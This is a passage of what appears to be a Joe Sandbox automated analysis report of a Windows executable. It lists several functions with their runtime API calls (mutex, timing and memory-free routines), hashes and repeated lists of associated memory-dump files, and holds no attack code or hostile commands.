Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 82b9b6f53cff140b11908d37945cadd93b7fa1b17a68de6e3c3b0d9812ac23f4
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: A9E04672922228EBCB14DBDCE904A9AB2ACEB49B10B650096F511D3150C670DE40C7E0

Function 00CE2EC0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00CE2F5F
GetCurrentThreadId.KERNEL32 ref: 00CE2F7E
__Mtx_unlock.LIBCPMT ref: 00CE2FCC
__Cnd_broadcast.LIBCPMT ref: 00CE2FE3
__Mtx_unlock.LIBCPMT ref: 00CE30F5
GetCurrentThreadId.KERNEL32 ref: 00CE3132
__Mtx_unlock.LIBCPMT ref: 00CE319B

Strings

q4]2, xrefs: 00CE2ED7, 00CE3054, 00CE3203

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID: q4]2
API String ID: 57040152-375858992
Opcode ID: f1a159deb26d1a3501cd50b1966c7b29d70e4d9eb2c9b5e94b6c2c8b1039c995
Instruction ID: 901932802bf943b1f5ce5d3c36ca2c152334a7a3072eff789117f0ca1276c379
Opcode Fuzzy Hash: f1a159deb26d1a3501cd50b1966c7b29d70e4d9eb2c9b5e94b6c2c8b1039c995
Instruction Fuzzy Hash: 70A1F371A012999FDB10DFA6C98976AB7F8FF15310F048129E925D7281EB31EB04DB92

Function 00CFBB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00CFBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00CFBBE4
_xtime_get.LIBCPMT ref: 00CFBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00CFBC13

Strings

q4]2, xrefs: 00CFBB78

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: q4]2
API String ID: 531285432-375858992
Opcode ID: 48486d82329e660a9a2f00a32a91b89d10b67dd0eb841d4933830d2bb2eaa8a6
Instruction ID: bcc845ea6e301308a811045dec86785dd6ed5d3e5cdf32e8aa30672a997cc194
Opcode Fuzzy Hash: 48486d82329e660a9a2f00a32a91b89d10b67dd0eb841d4933830d2bb2eaa8a6
Instruction Fuzzy Hash: CB213175A0021DAFDF40EFA4DD819BEBBB9EF08714F500415FA01B7251DB309D01ABA2

Function 00D24C14 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00D24DCA
__freea.LIBCMT ref: 00D24DD3
__freea.LIBCMT ref: 00D24DF6

Strings

q4]2, xrefs: 00D24C1B

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: __freea
String ID: q4]2
API String ID: 240046367-375858992
Opcode ID: cf6e0201c70306b77484543c4a9d9da4a31fadc6ea4380d38af76d50b817830f
Instruction ID: 9090b3503dbf4ed67ad8aea5c5c241e08330d1a19541436fb81e6ede07d5016c
Opcode Fuzzy Hash: cf6e0201c70306b77484543c4a9d9da4a31fadc6ea4380d38af76d50b817830f
Instruction Fuzzy Hash: BA51C272600226ABEB215F64FC41FBB37A9DFA5768F194129FD04A7141EB31DC5096B0

Function 00CE3AC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00CE3B93
__Cnd_destroy_in_situ.LIBCPMT ref: 00CE3B99
__Mtx_destroy_in_situ.LIBCPMT ref: 00CE3BA2

Strings

q4]2, xrefs: 00CE3AD5, 00CE3C07

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590801685.0000000000F3C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590819431.0000000000F46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590835704.0000000000F47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590856091.0000000000F4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590938854.0000000000F51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590960598.0000000000F53000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590983471.0000000000F5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590999353.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591014681.0000000000F6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591031241.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591046471.0000000000F6C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591061647.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591084418.0000000000F88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591102991.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591119879.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591134296.0000000000FB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591183857.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591200666.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591218335.0000000000FE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591235819.0000000000FE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591251723.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1591274930.0000000000FF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: q4]2
API String ID: 3308344742-375858992
Opcode ID: 72e316d5230fc7412c7e8c94155218a23db592735e7be2a45b695f730980842e
Instruction ID: a97f78b6cb7a1b072070ae223fd6305a51383c9d5035e3e1d8905741d8248ba1
Opcode Fuzzy Hash: 72e316d5230fc7412c7e8c94155218a23db592735e7be2a45b695f730980842e
Instruction Fuzzy Hash: 3651C4716007849FDB24DF2AC889B6AB7E5EF04320F144A5DE566C7791DB38AA00CB91

Function 00CFC452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00CFC4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 00CFC542
_xtime_get.LIBCPMT ref: 00CFC561

Strings

q4]2, xrefs: 00CFC458

Memory Dump Source

Source File: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1590270948.0000000000CE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590289957.0000000000D42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590339927.0000000000D49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590354277.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590369193.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590382042.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590396010.0000000000D57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590499235.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590515470.0000000000EB1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590532124.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590545037.0000000000EC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590559131.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590596165.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590611071.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590627106.0000000000EE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590642826.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590662020.0000000000F03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590677865.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590691896.0000000000F14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590705686.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590722969.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590738364.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590766399.0000000000F35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1590784709.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
